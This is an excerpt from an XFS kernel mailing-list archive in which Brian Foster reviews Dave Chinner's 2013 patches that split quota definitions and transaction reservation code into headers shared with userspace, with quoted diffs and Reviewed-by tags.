XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS > -#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS > -#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT > -#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT > -#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT > -#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT > -#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT > - > - > -#define XFS_QMOPT_QUOTALL \ > - (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) > -#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) > +struct xfs_trans; > > -#ifdef __KERNEL__ > /* > * This check is done typically without holding the inode lock; > * that may seem racy, but it is harmless in the context that it is used. > @@ -289,5 +162,4 @@ extern int xfs_mount_reset_sbqflags(struct xfs_mount *); > > extern const struct xfs_buf_ops xfs_dquot_buf_ops; > > -#endif /* __KERNEL__ */ > #endif /* __XFS_QUOTA_H__ */ > diff --git a/fs/xfs/xfs_quota_defs.h b/fs/xfs/xfs_quota_defs.h > new file mode 100644 > index 0000000..e6b0d6e > --- /dev/null > +++ b/fs/xfs/xfs_quota_defs.h > @@ -0,0 +1,157 @@ > +/* > + * Copyright (c) 2000-2005 Silicon Graphics, Inc. > + * All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or > + * modify it under the terms of the GNU General Public License as > + * published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write the Free Software Foundation, > + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > +#ifndef __XFS_QUOTA_DEFS_H__ > +#define __XFS_QUOTA_DEFS_H__ > + > +/* > + * Quota definitions shared between user and kernel source trees. > + */ > + > +/* > + * Even though users may not have quota limits occupying all 64-bits, > + * they may need 64-bit accounting. Hence, 64-bit quota-counters, > + * and quota-limits. This is a waste in the common case, but hey ... > + */ > +typedef __uint64_t xfs_qcnt_t; > +typedef __uint16_t xfs_qwarncnt_t; > + > +/* > + * flags for q_flags field in the dquot. > + */ > +#define XFS_DQ_USER 0x0001 /* a user quota */ > +#define XFS_DQ_PROJ 0x0002 /* project quota */ > +#define XFS_DQ_GROUP 0x0004 /* a group quota */ > +#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ > +#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ > + > +#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) > + > +#define XFS_DQ_FLAGS \ > + { XFS_DQ_USER, "USER" }, \ > + { XFS_DQ_PROJ, "PROJ" }, \ > + { XFS_DQ_GROUP, "GROUP" }, \ > + { XFS_DQ_DIRTY, "DIRTY" }, \ > + { XFS_DQ_FREEING, "FREEING" } > + > +/* > + * We have the possibility of all three quota types being active at once, and > + * hence free space modification requires modification of all three current > + * dquots in a single transaction. For this case we need to have a reservation > + * of at least 3 dquots. > + * > + * However, a chmod operation can change both UID and GID in a single > + * transaction, resulting in requiring {old, new} x {uid, gid} dquots to be > + * modified. Hence for this case we need to reserve space for at least 4 dquots. > + * > + * And in the worst case, there's a rename operation that can be modifying up to > + * 4 inodes with dquots attached to them. In reality, the only inodes that can > + * have their dquots modified are the source and destination directory inodes > + * due to directory name creation and removal. That can require space allocation > + * and/or freeing on both directory inodes, and hence all three dquots on each > + * inode can be modified. And if the directories are world writeable, all the > + * dquots can be unique and so 6 dquots can be modified.... > + * > + * And, of course, we also need to take into account the dquot log format item > + * used to describe each dquot. > + */ > +#define XFS_DQUOT_LOGRES(mp) \ > + ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) > + > +#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) > +#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) > +#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) > +#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) > +#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) > +#define XFS_IS_GQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_GQUOTA_ENFD) > +#define XFS_IS_PQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_PQUOTA_ENFD) > + > +/* > + * Incore only flags for quotaoff - these bits get cleared when quota(s) > + * are in the process of getting turned off. These flags are in m_qflags but > + * never in sb_qflags. > + */ > +#define XFS_UQUOTA_ACTIVE 0x1000 /* uquotas are being turned off */ > +#define XFS_GQUOTA_ACTIVE 0x2000 /* gquotas are being turned off */ > +#define XFS_PQUOTA_ACTIVE 0x4000 /* pquotas are being turned off */ > +#define XFS_ALL_QUOTA_ACTIVE \ > + (XFS_UQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE) > + > +/* > + * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees > + * quota will be not be switched off as long as that inode lock is held. > + */ > +#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ > + XFS_GQUOTA_ACTIVE | \ > + XFS_PQUOTA_ACTIVE)) > +#define XFS_IS_OQUOTA_ON(mp) ((mp)->m_qflags & (XFS_GQUOTA_ACTIVE | \ > + XFS_PQUOTA_ACTIVE)) > +#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) > +#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) > +#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) > + > +/* > + * Flags to tell various functions what to do. Not all of these are meaningful > + * to a single function. None of these XFS_QMOPT_* flags are meant to have > + * persistent values (ie. their values can and will change between versions) > + */ > +#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ > +#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ > +#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ > +#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ > +#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ > +#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ > +#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ > +#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ > +#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ > + > +/* > + * flags to xfs_trans_mod_dquot to indicate which field needs to be > + * modified. > + */ > +#define XFS_QMOPT_RES_REGBLKS 0x0010000 > +#define XFS_QMOPT_RES_RTBLKS 0x0020000 > +#define XFS_QMOPT_BCOUNT 0x0040000 > +#define XFS_QMOPT_ICOUNT 0x0080000 > +#define XFS_QMOPT_RTBCOUNT 0x0100000 > +#define XFS_QMOPT_DELBCOUNT 0x0200000 > +#define XFS_QMOPT_DELRTBCOUNT 0x0400000 > +#define XFS_QMOPT_RES_INOS 0x0800000 > + > +/* > + * flags for dqalloc. > + */ > +#define XFS_QMOPT_INHERIT 0x1000000 > + > +/* > + * flags to xfs_trans_mod_dquot. > + */ > +#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS > +#define XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS > +#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS > +#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT > +#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT > +#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT > +#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT > +#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT > + > + > +#define XFS_QMOPT_QUOTALL \ > + (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) > +#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) > + > +#endif /* __XFS_QUOTA_H__ */ > From bfoster@redhat.com Thu Jul 25 07:58:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9A6BA7F51 for ; Thu, 25 Jul 2013 07:58:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3871EAC003 for ; Thu, 25 Jul 2013 05:58:00 -0700 (PDT) X-ASG-Debug-ID: 1374757079-04bdf02f225c090001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cvl7E3Q6zBAuWoHE for ; Thu, 25 Jul 2013 05:57:59 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6PCvvEX006426 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 08:57:57 -0400 Received: from laptop.bfoster (vpn-50-160.rdu2.redhat.com [10.10.50.160]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6PCvuX4005637 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 08:57:57 -0400 Message-ID: <51F12012.4050904@redhat.com> Date: Thu, 25 Jul 2013 08:54:42 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 10/49] xfs: sync minor header differences needed by userspace. References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-11-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 10/49] xfs: sync minor header differences needed by userspace. In-Reply-To: <1374215120-7271-11-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374757079 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > Little things like exported functions, __KERNEL__ protections, and > so on that ensure user and kernel shared headers are identical. > > Signed-off-by: Dave Chinner > --- ... > diff --git a/fs/xfs/xfs_attr_leaf.h b/fs/xfs/xfs_attr_leaf.h > index 444a770..c102213 100644 > --- a/fs/xfs/xfs_attr_leaf.h > +++ b/fs/xfs/xfs_attr_leaf.h > @@ -333,6 +333,8 @@ int xfs_attr3_leaf_read(struct xfs_trans *tp, struct xfs_inode *dp, > struct xfs_buf **bpp); > void xfs_attr3_leaf_hdr_from_disk(struct xfs_attr3_icleaf_hdr *to, > struct xfs_attr_leafblock *from); > +void xfs_attr3_leaf_hdr_to_disk(struct xfs_attr_leafblock *to, > + struct xfs_attr3_icleaf_hdr *from); > I take it this was just missing. > extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; > ... > diff --git a/fs/xfs/xfs_dir2_format.h b/fs/xfs/xfs_dir2_format.h > index 7826782..2095e17 100644 > --- a/fs/xfs/xfs_dir2_format.h > +++ b/fs/xfs/xfs_dir2_format.h > @@ -519,6 +519,9 @@ struct xfs_dir3_leaf { > > #define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) > > +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, > + struct xfs_dir2_leaf *from); > + This appears in xfs_dir2_priv.h as well. It doesn't cause any compilation problems, but were you intending to duplicate it or move it? > static inline int > xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) > { > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > index d046955..68c2e18 100644 > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -311,6 +311,17 @@ typedef struct xfs_bstat { > } xfs_bstat_t; > > /* > + * Project quota id helpers (previously projid was 16bit only > + * and using two 16bit values to hold new 32bit projid was choosen > + * to retain compatibility with "old" filesystems). > + */ > +static inline __uint32_t > +bstat_get_projid(struct xfs_bstat *bs) > +{ > + return (__uint32_t)bs->bs_projid_hi << 16 | bs->bs_projid_lo; > +} > + Matches userspace. > +/* > * The user-level BulkStat Request interface structure. > */ > typedef struct xfs_fsop_bulkreq { > @@ -511,8 +522,14 @@ typedef struct xfs_handle { > #define XFS_IOC_ERROR_INJECTION _IOW ('X', 116, struct xfs_error_injection) > #define XFS_IOC_ERROR_CLEARALL _IOW ('X', 117, struct xfs_error_injection) > /* XFS_IOC_ATTRCTL_BY_HANDLE -- deprecated 118 */ > + > /* XFS_IOC_FREEZE -- FIFREEZE 119 */ > /* XFS_IOC_THAW -- FITHAW 120 */ > +#ifndef FIFREEZE > +#define XFS_IOC_FREEZE _IOWR('X', 119, int) > +#define XFS_IOC_THAW _IOWR('X', 120, int) > +#endif > + > #define XFS_IOC_FSSETDM_BY_HANDLE _IOW ('X', 121, struct xfs_fsop_setdm_handlereq) > #define XFS_IOC_ATTRLIST_BY_HANDLE _IOW ('X', 122, struct xfs_fsop_attrlist_handlereq) > #define XFS_IOC_ATTRMULTI_BY_HANDLE _IOW ('X', 123, struct xfs_fsop_attrmulti_handlereq) > diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h > index 78f9e70..030f131 100644 > --- a/fs/xfs/xfs_sb.h > +++ b/fs/xfs/xfs_sb.h > @@ -554,6 +554,13 @@ static inline int xfs_sb_version_hasprojid32bit(xfs_sb_t *sbp) > (sbp->sb_features2 & XFS_SB_VERSION2_PROJID32BIT)); > } > > +static inline void xfs_sb_version_addprojid32bit(xfs_sb_t *sbp) > +{ > + sbp->sb_versionnum |= XFS_SB_VERSION_MOREBITSBIT; > + sbp->sb_features2 |= XFS_SB_VERSION2_PROJID32BIT; > + sbp->sb_bad_features2 |= XFS_SB_VERSION2_PROJID32BIT; > +} > + Matches userspace. Reviewed-by: Brian Foster > static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) > { > return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; > diff --git a/fs/xfs/xfs_symlink.h b/fs/xfs/xfs_symlink.h > index 3743948..c8e3a02 100644 > --- a/fs/xfs/xfs_symlink.h > +++ b/fs/xfs/xfs_symlink.h > @@ -49,7 +49,8 @@ struct xfs_dsymlink_hdr { > sizeof(struct xfs_dsymlink_hdr) : 0)) > > int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); > - > +bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, > + uint32_t size, struct xfs_buf *bp); > void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, > struct xfs_inode *ip, struct xfs_ifork *ifp); > > diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h > index ffaa584..772d5ae 100644 > --- a/fs/xfs/xfs_trans.h > +++ b/fs/xfs/xfs_trans.h > @@ -64,7 +64,7 @@ struct xfs_log_item; > #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) > #define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) > #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) > -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) > +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) > #define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) > #define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) > #define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) > @@ -325,7 +325,4 @@ extern kmem_zone_t *xfs_log_item_desc_zone; > > #endif /* __KERNEL__ */ > > -void xfs_trans_init(struct xfs_mount *); > -int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); > - > #endif /* __XFS_TRANS_H__ */ > diff --git a/fs/xfs/xfs_trans_priv.h b/fs/xfs/xfs_trans_priv.h > index 53b7c9b..d43b130 100644 > --- a/fs/xfs/xfs_trans_priv.h > +++ b/fs/xfs/xfs_trans_priv.h > @@ -25,6 +25,9 @@ struct xfs_trans; > struct xfs_ail; > struct xfs_log_vec; > > + > +void xfs_trans_init(struct xfs_mount *); > +int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); > void xfs_trans_add_item(struct xfs_trans *, struct xfs_log_item *); > void xfs_trans_del_item(struct xfs_log_item *); > void xfs_trans_free_items(struct xfs_trans *tp, xfs_lsn_t commit_lsn, > diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h > index 781772c..6ed6b26 100644 > --- a/fs/xfs/xfs_types.h > +++ b/fs/xfs/xfs_types.h > @@ -32,7 +32,6 @@ typedef unsigned int __uint32_t; > typedef signed long long int __int64_t; > typedef unsigned long long int __uint64_t; > > -typedef __uint32_t prid_t; /* project ID */ > typedef __uint32_t inst_t; /* an instruction */ > > typedef __s64 xfs_off_t; /* type */ > @@ -55,6 +54,8 @@ typedef __uint64_t __psunsigned_t; > > #endif /* __KERNEL__ */ > > +typedef __uint32_t prid_t; /* project ID */ > + > typedef __uint32_t xfs_agblock_t; /* blockno in alloc. group */ > typedef __uint32_t xfs_agino_t; /* inode # within allocation grp */ > typedef __uint32_t xfs_extlen_t; /* extent length in blocks */ > From bfoster@redhat.com Thu Jul 25 07:58:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 75C417F37 for ; Thu, 25 Jul 2013 07:58:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 013D4AC003 for ; Thu, 25 Jul 2013 05:58:37 -0700 (PDT) X-ASG-Debug-ID: 1374757116-04cb6c153d52c90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Y7arFFVny9m4tesF for ; Thu, 25 Jul 2013 05:58:36 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6PCwZUF006548 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 08:58:35 -0400 Received: from laptop.bfoster (vpn-50-160.rdu2.redhat.com [10.10.50.160]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6PCwX6N031505 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 08:58:34 -0400 Message-ID: <51F12037.6020406@redhat.com> Date: Thu, 25 Jul 2013 08:55:19 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 11/49] xfs: split out transaction reservation code References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-12-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 11/49] xfs: split out transaction reservation code In-Reply-To: <1374215120-7271-12-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374757116 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > The transaction reservation size calculations is used by both kernel > and userspace, but most of the transaction code in xfs_trans.c is > kernel specific. Split all the transaction reservation code out into > it's own files to make sharing with userspace simpler. This just > leaves kernel-only definitions in xfs_trans.h, so it doesn't need to > be shared with userspace anymore, either. > > Signed-off-by: Dave Chinner > --- > fs/xfs/Makefile | 3 +- > fs/xfs/xfs_acl.c | 1 + > fs/xfs/xfs_buf.c | 1 + > fs/xfs/xfs_discard.c | 4 +- > fs/xfs/xfs_mount.h | 42 +-- > fs/xfs/xfs_quotaops.c | 3 +- > fs/xfs/xfs_trans.c | 654 +------------------------------------------- > fs/xfs/xfs_trans.h | 77 +----- > fs/xfs/xfs_trans_resv.c | 701 ++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_trans_resv.h | 137 ++++++++++ > 10 files changed, 851 insertions(+), 772 deletions(-) > create mode 100644 fs/xfs/xfs_trans_resv.c > create mode 100644 fs/xfs/xfs_trans_resv.h > ... > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > index 9b70df3..cc824eff 100644 > --- a/fs/xfs/xfs_trans.c > +++ b/fs/xfs/xfs_trans.c > @@ -49,629 +49,6 @@ kmem_zone_t *xfs_trans_zone; > kmem_zone_t *xfs_log_item_desc_zone; > ... > -/* > * Initialize the precomputed transaction reservation values > * in the mount structure. > */ > @@ -679,36 +56,7 @@ void > xfs_trans_init( > struct xfs_mount *mp) > { > - struct xfs_trans_reservations *resp = &mp->m_reservations; > - > - resp->tr_write = xfs_calc_write_reservation(mp); > - resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); > - resp->tr_rename = xfs_calc_rename_reservation(mp); > - resp->tr_link = xfs_calc_link_reservation(mp); > - resp->tr_remove = xfs_calc_remove_reservation(mp); > - resp->tr_symlink = xfs_calc_symlink_reservation(mp); > - resp->tr_create = xfs_calc_create_reservation(mp); > - resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); > - resp->tr_ifree = xfs_calc_ifree_reservation(mp); > - resp->tr_ichange = xfs_calc_ichange_reservation(mp); > - resp->tr_growdata = xfs_calc_growdata_reservation(mp); > - resp->tr_swrite = xfs_calc_swrite_reservation(mp); > - resp->tr_writeid = xfs_calc_writeid_reservation(mp); > - resp->tr_addafork = xfs_calc_addafork_reservation(mp); > - resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); > - resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); > - resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); > - resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); > - resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); > - resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); > - resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); > - resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); > - resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); > - resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); > - resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); > - resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); > - resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); > - resp->tr_sb = xfs_calc_sb_reservation(mp); > + xfs_trans_resv_calc(mp, &mp->m_reservations); > } > Reservation calculations pushed off into a helper, otherwise a clean move. > /* > diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h ... > diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c ... > diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h > new file mode 100644 > index 0000000..cc8260e > --- /dev/null > +++ b/fs/xfs/xfs_trans_resv.h > @@ -0,0 +1,137 @@ > +/* > + * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. > + * All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or > + * modify it under the terms of the GNU General Public License as > + * published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write the Free Software Foundation, > + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > +#ifndef __XFS_TRANS_RESV_H__ > +#define __XFS_TRANS_RESV_H__ > + > +struct xfs_mount; > + > +/* > + * structure for maintaining pre-calculated transaction reservations. > + */ > +struct xfs_trans_resv { > + uint tr_write; /* extent alloc trans */ > + uint tr_itruncate; /* truncate trans */ > + uint tr_rename; /* rename trans */ > + uint tr_link; /* link trans */ > + uint tr_remove; /* unlink trans */ > + uint tr_symlink; /* symlink trans */ > + uint tr_create; /* create trans */ > + uint tr_mkdir; /* mkdir trans */ > + uint tr_ifree; /* inode free trans */ > + uint tr_ichange; /* inode update trans */ > + uint tr_growdata; /* fs data section grow trans */ > + uint tr_swrite; /* sync write inode trans */ > + uint tr_addafork; /* cvt inode to attributed trans */ > + uint tr_writeid; /* write setuid/setgid file */ > + uint tr_attrinval; /* attr fork buffer invalidation */ > + uint tr_attrsetm; /* set/create an attribute at mount time */ > + uint tr_attrsetrt; /* set/create an attribute at runtime */ > + uint tr_attrrm; /* remove an attribute */ > + uint tr_clearagi; /* clear bad agi unlinked ino bucket */ > + uint tr_growrtalloc; /* grow realtime allocations */ > + uint tr_growrtzero; /* grow realtime zeroing */ > + uint tr_growrtfree; /* grow realtime freeing */ > + uint tr_qm_sbchange; /* change quota flags */ > + uint tr_qm_setqlim; /* adjust quota limits */ > + uint tr_qm_dqalloc; /* allocate quota on disk */ > + uint tr_qm_quotaoff; /* turn quota off */ > + uint tr_qm_equotaoff;/* end of turn quota off */ > + uint tr_sb; /* modify superblock */ > +}; > + Structure name change, matches otherwise. > +/* > + * Per-extent log reservation for the allocation btree changes > + * involved in freeing or allocating an extent. > + * 2 trees * (2 blocks/level * max depth - 1) * block size > + */ > +#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ > + ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * XFS_AG_MAXLEVELS(mp) - 1))) > +#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ > + ((nx) * (2 * (2 * XFS_AG_MAXLEVELS(mp) - 1))) > + > +/* > + * Per-directory log reservation for any directory change. > + * dir blocks: (1 btree block per level + data block + free block) * dblock size > + * bmap btree: (levels + 2) * max depth * block size > + * v2 directory blocks can be fragmented below the dirblksize down to the fsb > + * size, so account for that in the DAENTER macros. > + */ > +#define XFS_DIROP_LOG_RES(mp) \ > + (XFS_FSB_TO_B(mp, XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK)) + \ > + (XFS_FSB_TO_B(mp, XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1))) > +#define XFS_DIROP_LOG_COUNT(mp) \ > + (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ > + XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) > + > + The XFS_*_LOG_RES() macros don't appear to be used anywhere..? And other than some whitespace fixups, everything else seems to match: Reviewed-by: Brian Foster > +#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) > +#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) > +#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) > +#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) > +#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) > +#define 